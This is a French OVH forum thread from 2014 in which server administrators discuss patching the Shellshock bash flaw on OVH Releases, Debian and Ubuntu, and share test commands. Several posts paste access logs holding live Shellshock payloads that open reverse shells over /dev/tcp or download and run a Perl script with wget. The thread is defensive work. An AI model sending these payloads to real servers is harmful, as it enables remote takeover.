Vulnérabilité bash (Ubuntu - OVHm 3)
Envoyé par
arn0
Bonjour concernant cette faille. Peut on uniquement installer le patch de securité ovh de la release 2 sans foutre la pagaille dans les confs du serveur. Car je suis en ubuntu 8.0.4 et j'ai peu qu'en faisant la MAJ toutes les confs sautent...
D'ailleurs comment voir si on est en release ovh dans le manager ?
la release 2 d'ovh est sous Gentoo ...
Sinon tu ne crois pas qu'il serait temps de migrer ta LTS 8.04 ?! tu réalises qu'elle n'est plus supporté depuis
mai 2013 ?!! (ça veut dire plus de mise à jour de sécurité ...
http://doc.ubuntu-fr.org/hardy )
Bonjour concernant cette faille. Peut on uniquement installer le patch de securité ovh de la release 2 sans foutre la pagaille dans les confs du serveur. Car je suis en ubuntu 8.0.4 et j'ai peu qu'en faisant la MAJ toutes les confs sautent...
D'ailleurs comment voir si on est en release ovh dans le manager ?
Bonjour, pour information, 2 nouvelles vulnérabilités ont été détectées
dans le bash. Il s'agit de 2 buffer overflow dans parse.y
- - - Updated - - -
When bash is parsing a function definition that contains a here-document
delimited by end-of-file (or end-of-string), it leaves the closing delimiter
uninitialized. This can result in an invalid memory access when the parsed
function is later copied.
cassiopee
30/09/2014, 09h00
Si tu veux passer en Debian 6.0.10, il faut faire un "apt-get upgrade" en plus du "apt-get update".
erwanpia
30/09/2014, 08h06
- - - Updated - - -
Envoyé par
Quadeare
Si ça peut aider, sous Debian 6 il faut activer les dépendances LTS.
Donc il faut ajouter dans le /etc/apt/sources.list
deb http://http.debian.net/debian/ squeeze-lts main contrib non-free
deb-src http://http.debian.net/debian/ squeeze-lts main contrib non-free
Puis faire un update + install bash :
$ apt-get update; apt-get install bash
Oui ca fonctionne pour moi aussi, la vulnérabilité a disparu mais on reste ne 6.0.6 ??
je confirme
wget
ftp://ftp.ovh.net/made-in-ovh/release/patch-all.sh -O patch-all.sh; sh patch-all.sh
fonctionne correctement sur les releases 2.
Je m'occupe des R3 à présent avec : /usr/bin/yum -y update bash
Cela semble bon:
Comment by OVH - Friday, 26 September 2014, 21:12PM
It has been confirmed that the first patch which was generally available didn't fix the security problem completely.
Most distributors have reacted with a second update to bash by now, which everybody is encouraged to install as soon as possible. Please check your distribution's security page and update mechanism.
Concerning the OVH Releases:
- An update for Release 2 up to version 2.34 hast been published, you can install it using the "patch-all" script: ftp://ftp.ovh.net/made-in-ovh/releas...l-release-2.sh
- Release 3: can be updated using "yum update" or the update function available in the web interface.
cassiopee
26/09/2014, 18h22
Envoyé par
bbr18
Code:
GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 411 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
Pour info, ça c'est une recherche orientée vers cPanel.
Des infos à suivre sur les Releases sur cet autre sujet :
http://forum.ovh.com/showthread.php?...-OVH-que-faire
titouleblanc
26/09/2014, 17h55
Nous sommes malheureusement convaincus ... et surtout impatients de voir un patch pour les Releases OVH ...
Mais plus que tout, ce qui m'intéresse, c'est déjà de savoir si les releases OVH auront droit à un patch ou si je dois restituer tous mes serveurs pour en reprendre, éventuellement ailleurs, sous une distribution plus classique .... ce que j'ai déjà commencé à faire pour 2 serveurs critiques qui sont maintenant sous Debian
Titou
Si vous n’êtes pas convaincu que cela n'arrive pas qu'aux autres cherchez dans vos logs, exemple
Code:
grep '() { :;};' /var/log/virtualmin/*.*
Code:
_access_log:94.23.193.131 - - [26/Sep/2014:05:30:39 +0200] "GET / HTTP/1.0" 403 389 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
_access_log:94.23.193.131 - - [26/Sep/2014:05:33:29 +0200] "GET / HTTP/1.0" 403 389 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
_access_log:94.23.193.131 - - [26/Sep/2014:05:45:13 +0200] "GET / HTTP/1.0" 403 389 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
cette ip est celle d'un kimsufi, ks3097712.kimsufi.com et elle insiste sur tous les serveurs
autre type de recherche
Code:
_access_log:63.131.141.125 - - [26/Sep/2014:04:16:23 +0200] "GET /cgi-bin/php.fcgi HTTP/1.0" 404 401 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/wow1\""
autre variante
Code:
_access_log:89.207.135.125 - - [25/Sep/2014:11:09:25 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 411 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
idem :
Code:
ovh-access_log:209.126.230.72 - - [25/Sep/2014:02:45:32 +0200] "GET / HTTP/1.0" 200 315 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
Bonjour,
Pour info, quelques tentatives repérées dans mes fichiers log, principalement hier:
Code:
"GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 444 0 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
"GET / HTTP/1.1" 444 0 "-" "() { :; }; /usr/bin/wget 82.165.144.187/aaaaaaaaaaaa"
"GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 444 0 "-" "() { :; }; /usr/bin/wget 82.165.144.187/bbbbbbbbbbbb"
"GET / HTTP/1.1" 444 0 "() { :; }; /bin/ping -c 1 104.131.0.69" "() { :; }; /bin/ping -c 1 104.131.0.69"
"GET / HTTP/1.0" 444 0 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" "() { "
Donc surveillez déjà ces attaques en recherchant "()" dans vos logs
Attention
ftp://ftp.ovh.net/made-in-ovh/release/CHANGELOG.release
ftp://ftp.ovh.net/made-in-ovh/releas...ELOG.release-2
ne sont pas encore à jour, les fichiers placés ne sont donc pas forcément des versions définitives.
Cela ne devrait plus tarder, il y a les fichiers de la 2.34 depuis 13h... w8 & see, zoup zoup
ftp://ftp.ovh.net/made-in-ovh/release/
Envoyé par
Delta
Hello, pour la release 2, pas la peine de spammer ovh, faut encore attendre
--->
Bonjour,
Nous sommes actuellement en train de voir ce qu'il est possible de faire pour corriger la faille sur la R2, vous serez tenu informé sur la tache travaux dès que nous aurons plus d'informations.
N'hésitez pas à nous recontacter pour tout complément d'informations.
Cordialement,
XXX
Support Dédié OVH
Merci pour l'info. on attends alors
Hello, pour la release 2, pas la peine de spammer ovh, faut encore attendre
--->
Bonjour,
Nous sommes actuellement en train de voir ce qu'il est possible de faire pour corriger la faille sur la R2, vous serez tenu informé sur la tache travaux dès que nous aurons plus d'informations.
N'hésitez pas à nous recontacter pour tout complément d'informations.
Cordialement,
XXX
Support Dédié OVH
donc une R3 fraichement installée sans rien faire d'autre :
Code:
# yum -y update bash
Using yum can damage your system
To use yum at your own risk
use /usr/bin/yum -y update bash
Code:
[root@vps~]# /usr/bin/yum -y update bash
Loaded plugins: fastestmirror, priorities
Loading mirror speeds from cached hostfile
* base: mirror.bbln.org
* extras: mirror.bbln.org
* rpmforge: www.mirrorservice.org
* updates: mirror.bbln.org
1500 packages excluded due to repository priority protections
Setting up Update Process
Resolving Dependencies
--> Running transaction check
---> Package bash.x86_64 0:4.1.2-15.el6_4 will be updated
---> Package bash.x86_64 0:4.1.2-15.el6_5.2 will be an update
--> Finished Dependency Resolution
Dependencies Resolved
===========================================================================================================================
Package Arch Version Repository Size
===========================================================================================================================
Updating:
bash x86_64 4.1.2-15.el6_5.2 updates 905 k
Transaction Summary
===========================================================================================================================
Upgrade 1 Package(s)
Total download size: 905 k
Downloading Packages:
bash-4.1.2-15.el6_5.2.x86_64.rpm | 905 kB 00:00
Running rpm_check_debug
Running Transaction Test
Transaction Test Succeeded
Running Transaction
Warning: RPMDB altered outside of yum.
Updating : bash-4.1.2-15.el6_5.2.x86_64 1/2
Cleanup : bash-4.1.2-15.el6_4.x86_64 2/2
Verifying : bash-4.1.2-15.el6_5.2.x86_64 1/2
Verifying : bash-4.1.2-15.el6_4.x86_64 2/2
Updated:
bash.x86_64 0:4.1.2-15.el6_5.2
Complete!
- - - Mise à jour - - -
tout à l'air ok après reboot
Code:
[root@vps ~]# env x='() { :;}; echo systeme vulnerable' bash -c 'echo bravo systeme ok'
bravo systeme ok
Envoyé par
coug
Ok pour la ligne de commande sur Release 2 mais quid des dépendances ?
Dommage en effet qu'un technicien de OVH ne passe pas par ici simplement pour répondre à cette question.
j'ai un vps de test, je vais installer une R2 et taper la commande, je vous dis le résultat juste après
edit : je ne peux faire qu'avec la R3, la 2 n'est pas proposée sur les vps
Envoyé par
bbr18
avant de lancer un update global j'ai essayé de juste faire sur bash, bah la faille était toujours là donc doit y avoir d'autres chose à updater
pour la R3 tente
edit : yum c'est pour centos donc release 3
release 2 gentoo donc plutot ceci
Code:
emerge update && emerge upgrade bash
Ok pour la ligne de commande sur Release 2 mais quid des dépendances ?
cassiopee
26/09/2014, 08h46
Merci à winlinux et Quadeare et je confirme, le passage en Debian 6 LTS permet de blinder le shell
Envoyé par
cassiopee
Dans quel contexte ? Release 2 ? Release 3 ?
Proxmox, mais j'avais oublié le update donc ancien paquet, ^^
Nouveau patch ce matin pour Debian
Pour les release, en particulier la 3, la mise à jour de bash devrait surement passer, pour la R2 datant de 2006 j'ai des doutes, Gentoo ne doit plus suivre cette version datant de 8 ans !
C'est peut-être l'occasion pour ceux encore en R2 de passer à une distribution standard et suivie, je sais c'est chiant à faire, j'ai moi-même reculé durant des années mais le travail que cela demande (adaptation des chemins entre autres, proprio/groupe, etc.) n'est à faire qu'une fois et ça vaut le coup (Debian + Virtualmin et plus de souci)
Quadeare
26/09/2014, 08h29
Envoyé par
cassiopee
Je viens de tester sur une Debian 6 :
avant mise à jour : 6.0.6
après mise à jour : 6.0.10
mais Bash toujours vulnérable.
Une raison de plus de passer en 7.6
Si ça peut aider, sous Debian 6 il faut activer les dépendances LTS.
Donc il faut ajouter dans le /etc/apt/sources.list
deb
http://http.debian.net/debian/ squeeze-lts main contrib non-free
deb-src
http://http.debian.net/debian/ squeeze-lts main contrib non-free
Puis faire un update + install bash :
$ apt-get update; apt-get install bash
winlinux
26/09/2014, 08h22
Pour debian 6.xx
ajouter ceci dans le rep des sources
sudo vi /etc/apt/sources.list
puis
puis
sudo apt-get install bash
puis vérif de la faille
env x='() { :;}; echo vulnerable' bash -c 'echo hello'
source
http://jamesmcfadden.co.uk/patching-...ian-6-squeeze/
J'ai déjà un voisin curieux :
209.126.230.72 - - [25/Sep/2014:01:41:58 +0200] "GET / HTTP/1.0" 200 315 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
94.23.193.131 - - [26/Sep/2014:05:04:56 +0200] "GET / HTTP/1.0" 200 315 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/62.122.246.165/2333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:21:04 +0200] "GET / HTTP/1.0" 200 315 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/202.137.176.146/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:24:02 +0200] "GET / HTTP/1.0" 200 315 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/202.137.176.146/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:28:57 +0200] "GET / HTTP/1.0" 200 315 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:33:18 +0200] "GET / HTTP/1.0" 200 315 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:45:34 +0200] "GET / HTTP/1.0" 200 315 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:45:34 +0200] "GET / HTTP/1.0" 200 315 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
cassiopee
25/09/2014, 18h59
Envoyé par
bbr18
avant de lancer un update global j'ai essayé de juste faire sur bash, bah la faille était toujours là donc doit y avoir d'autres chose à updater
Dans quel contexte ? Release 2 ? Release 3 ?
avant de lancer un update global j'ai essayé de juste faire sur bash, bah la faille était toujours là donc doit y avoir d'autres chose à updater
pour la R3 tente
edit : yum c'est pour centos donc release 3
release 2 gentoo donc plutot ceci
Code:
emerge update && emerge upgrade bash
cassiopee
25/09/2014, 18h43
Envoyé par
titouleblanc
Cassiopée : toi qui "maîtrise" ... est-il possible de mettre à jour juste le bash sur une release 2 ... quitte à sortir de la release (tampis) ?
Sûrement possible ("emerge bash" ou quelque chose d'approchant)
mais il y a le calcul risques/bénéfices à faire.
Avec un peu de chance, OVH va publier un patch pour régler ce problème,
simplement il leur faut un peu de temps pour le mettre au point.
(penser au nombre de machines différentes sur lequel il doit être testé avant diffusion).
Maintenant, il ne faut pas psychoter non plus, pendant 24/48 heures à venir,
il y a quand même peu de chances/risques d'être piraté par ce biais.
La plupart des pirates n'ont pas la capacité de développer une application,
ils vont utiliser des scripts tous faits, légèrement modifiés tout au plus.
Donc il faut le temps qu'un ou plusieurs scripts soient développés (c'est sans doute déjà fait)
par des pirates plus chevronnés mais ensuite il faut que ça se diffuse dans le milieu underground,
ce n'est pas instantané.
Il suffit de regarder tous ces scripts pirates qui ciblent de vieilles versions de phpMyAdmin
ou autre (parfois des versions vieilles de plusieurs années) pour comprendre que c'est rarement
un exploit "0 day" qui est utilisé à grande échelle.
cassiopee
25/09/2014, 18h36
Envoyé par
cassiopee
Je viens de tester sur une Debian 6 :
avant mise à jour : 6.0.6
après mise à jour : 6.0.10
mais Bash toujours vulnérable.
Une raison de plus de passer en 7.6
Pour confirmation : je viens de réinstaller un serveur OVH en Debian 7.6
et, de base, le Bash n'est plus vulnérable.
titouleblanc
25/09/2014, 18h28
Cassiopée : toi qui "maîtrise" ... est-il possible de mettre à jour juste le bash sur une release 2 ... quitte à sortir de la release (tampis) ?
La release 2 est basée sur une distribution Gentoo et il y a une mise à jour disponible pour Gentoo ...
Je fais parti de ceux qui ont pas mal de scripts CGI sur ses serveurs, donc j'ai un peu l'impression à l'heure actuelle d'être une belle cible qui ne vas pas tarder à se faire descendre en beauté
Merci pour tout conseil ...
Titou
cassiopee
25/09/2014, 18h01
titouleblanc
25/09/2014, 17h27
bbr18 : peut-on savoir comment s'inscrire à cette "ML Release" ?
NB. J'ai cherché, mais pas trouvé et je suppose que je ne suis pas le seul intéressé ...
Merci d'avance ...
Titou
inscrivez-vous sur la ml release pour les releases 2 et 3
darkheir
25/09/2014, 17h00
C'est clair qu'il faut une réaction d'OVH, nous de notre côté on ne peut que faire du bricolage, mais là du moment que le serveur utilise apache ou un autre outil qui a recours au bash on est exposé.
Même openSSH est exposé pour vous donner une idée de la gravité de la faille.
VarioFlux
25/09/2014, 16h54
idem : comment être informé ?
(à part s'abonner à ce discussion)
titouleblanc
25/09/2014, 16h39
Bonne question de yves57 ...
Est-ce que OVH a réagi officiellement d'une façon ou d'une autre pour nous donner des instructions sur la conduite à tenir pour combler cette vulnérabilité avant que tous les serveurs dédiés sous release soient hackés ? ... ce qui risque d'être rapidement le cas vu la facilité apparente avec laquelle cette vulnérabilité peut être exploitée !
Titou
Code:
su -c 'yum update'
Loaded plugins: fastestmirror, priorities
Loading mirror speeds from cached hostfile
* base: mirror.bbln.org
* epel: mirror.i3d.net
* extras: mirror.bbln.org
* rpmforge: www.mirrorservice.org
* updates: mirror.bbln.org
1500 packages excluded due to repository priority protections
Setting up Update Process
Resolving Dependencies
--> Running transaction check
---> Package bash.x86_64 0:4.1.2-15.el6_4 will be updated
---> Package bash.x86_64 0:4.1.2-15.el6_5.1 will be an update
---> Package tzdata.noarch 0:2014e-1.el6 will be updated
---> Package tzdata.noarch 0:2014g-1.el6 will be an update
---> Package unbound-libs.x86_64 0:1.4.21-1.el6 will be updated
---> Package unbound-libs.x86_64 0:1.4.22-1.el6 will be an update
--> Finished Dependency Resolution
Dependencies Resolved
========================================================================================================================================================================
Package Arch Version Repository Size
========================================================================================================================================================================
Updating:
bash x86_64 4.1.2-15.el6_5.1 updates 905 k
tzdata noarch 2014g-1.el6 updates 449 k
unbound-libs x86_64 1.4.22-1.el6 epel 329 k
Transaction Summary
========================================================================================================================================================================
Upgrade 3 Package(s)
Total download size: 1.6 M
Is this ok [y/N]: y
Downloading Packages:
(1/3): bash-4.1.2-15.el6_5.1.x86_64.rpm | 905 kB 00:00
(2/3): tzdata-2014g-1.el6.noarch.rpm | 449 kB 00:00
(3/3): unbound-libs-1.4.22-1.el6.x86_64.rpm | 329 kB 00:00
------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Total 2.6 MB/s | 1.6 MB 00:00
Running rpm_check_debug
Running Transaction Test
Transaction Test Succeeded
Running Transaction
Updating : bash-4.1.2-15.el6_5.1.x86_64 1/6
Updating : unbound-libs-1.4.22-1.el6.x86_64 2/6
Updating : tzdata-2014g-1.el6.noarch 3/6
Cleanup : unbound-libs-1.4.21-1.el6.x86_64 4/6
Cleanup : tzdata-2014e-1.el6.noarch 5/6
Cleanup : bash-4.1.2-15.el6_4.x86_64 6/6
Verifying : unbound-libs-1.4.22-1.el6.x86_64 1/6
Verifying : bash-4.1.2-15.el6_5.1.x86_64 2/6
Verifying : tzdata-2014g-1.el6.noarch 3/6
Verifying : tzdata-2014e-1.el6.noarch 4/6
Verifying : unbound-libs-1.4.21-1.el6.x86_64 5/6
Verifying : bash-4.1.2-15.el6_4.x86_64 6/6
Updated:
bash.x86_64 0:4.1.2-15.el6_5.1 tzdata.noarch 0:2014g-1.el6 unbound-libs.x86_64 0:1.4.22-1.el6
Complete!
Je l'ai tenté pour sécuriser au minimum le serveur qui me sert de sauvegarde
Rien ne semble HS, mais je n'ai pas rebooté le serveur.
cassiopee
25/09/2014, 14h16
Avec une Release 2, il fallait vraiment mieux ne pas faire de mise à jour système (via la commande 'emerge' de Gentoo).
La Release 3 s'appuie sur une distribution CentOS mais j'ignore si on peut faire une mise à jour du système
sans "casser" la Release 3 ou au moins compromettre les mises à jour futures à base de patch d'OVH.
Le mieux est sans doute d'attendre une réaction d'OVH.
et donc aucune solution pour ceux en release ?
cassiopee
25/09/2014, 12h19
Je viens de tester sur une Debian 6 :
avant mise à jour : 6.0.6
après mise à jour : 6.0.10
mais Bash toujours vulnérable.
Une raison de plus de passer en 7.6
Debian 7.6 : bug plus possible depuis hier déjà.
Histoire de 'upgrade' et go apéro
cassiopee
25/09/2014, 11h22
Cette faille est très importante :
1) elle concerne tous les systèmes d'exploitation utilisant Bash : tous les Linux, MacOSX et même certains Windows
2)
cette faille est exploitable à distance, il n'y a pas besoin d'avoir un compte local pour l'utiliser
Bash lui-même n'est pas accessible à distance mais un programme comme Apache, OpenSSH, telnet, etc. peuvent l'utiliser,
ce qui ouvre la porte. On adresse une requête spéciale à Apache qui s'adresse à Bash et paf! Même si votre Bash local
est vulnérable, toutes les configurations Apache (ou OpenSSH ou telnet ou ...) feront que ce bug ne sera pas exploitable
obligatoirement à distance.
3) il commence à y avoir des mises à jour : il s'agit principalement de mettre à jour Bash car mettre à jour tous les programmes l'utilisant
va demander un temps considérable.
Un exemple de vérification possible :
(le serveur étant une Debian 7.6 + Virtualmin 4.11)
Code:
~# env X="() { :;} ; echo busted" /bin/sh -c "echo stuff"
busted
stuff
Si "busted" s'affiche, le bash est vulnérable. Aïe, ici il l'est.
Même test après mise à jour de Virtualmin + système Debian :
Code:
~# env X="() { :;} ; echo busted" /bin/sh -c "echo stuff"
/bin/sh: warning: X: ignoring function definition attempt
/bin/sh: error importing function definition for `X'
stuff
Ouf
Envoyé par
Jejeleponey-
Normalement oui, après tout dépend si tu as des utilisateurs qui peuvent executer un script bash (avec PHP via shell_exec() par exemple)
C'est tout à fait juste. Et sachant que de nombreux sites sous WP ne sont actuellement pas patchés pour des failles courantes....
Pour lecture :
http://www.journaldunet.com/solution...ash-0914.shtml
Jejeleponey-
25/09/2014, 09h34
Normalement oui, après tout dépend si tu as des utilisateurs qui peuvent executer un script bash (avec PHP via shell_exec() par exemple)
sur mes serveurs seul root a accès en ssh et uniquement par clé, je pense donc que cela doit empêcher l'exploitation de cette faille, non ?
Jejeleponey-
25/09/2014, 09h03
Salut,
Faudrait déjà qu'il y ai les mises à jour en question car il n'y a pas de solution pour le moment à ce que j'en vois sur le lien que tu as donné.
C'est une faille assez inquiétante, si j'ai bien compris il est possible à un utilisateur lamba de faire executer des commandes à un autre utilisateur lors de sa prochaine connexion (notament root). Le point "positif" c'est qu'il faut un compte sur la machine, ça limite un peu la casse, tout le monde ne peut pas se servir de cette faille.
Pour ma part mes Debian 7.5 sont concerné par le problème, j'attend une mise à jour avec impatience.
Hello,
Je tombe sur cet article ce matin qui décrit une vulnérabilité bash (sous Ubuntu seulement ?), bref avec un serveur & cloud sous Release 3 j'ai testé et la faille est présente :
« Am I vulnerable?
There is an easy check. Open a terminal and paste the following:
Code:
env x='() { :;}; echo vulnerable' bash -c 'echo hello'
If you are not vulnerable, then the following will be shown:
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
hello
If you are vulnerable, then you will see:
vulnerable
hello
»
Source :
http://askubuntu.com/questions/52810...ow-do-i-fix-it
Y a t'il une mise à jour de prévu sans sortir de la release ?
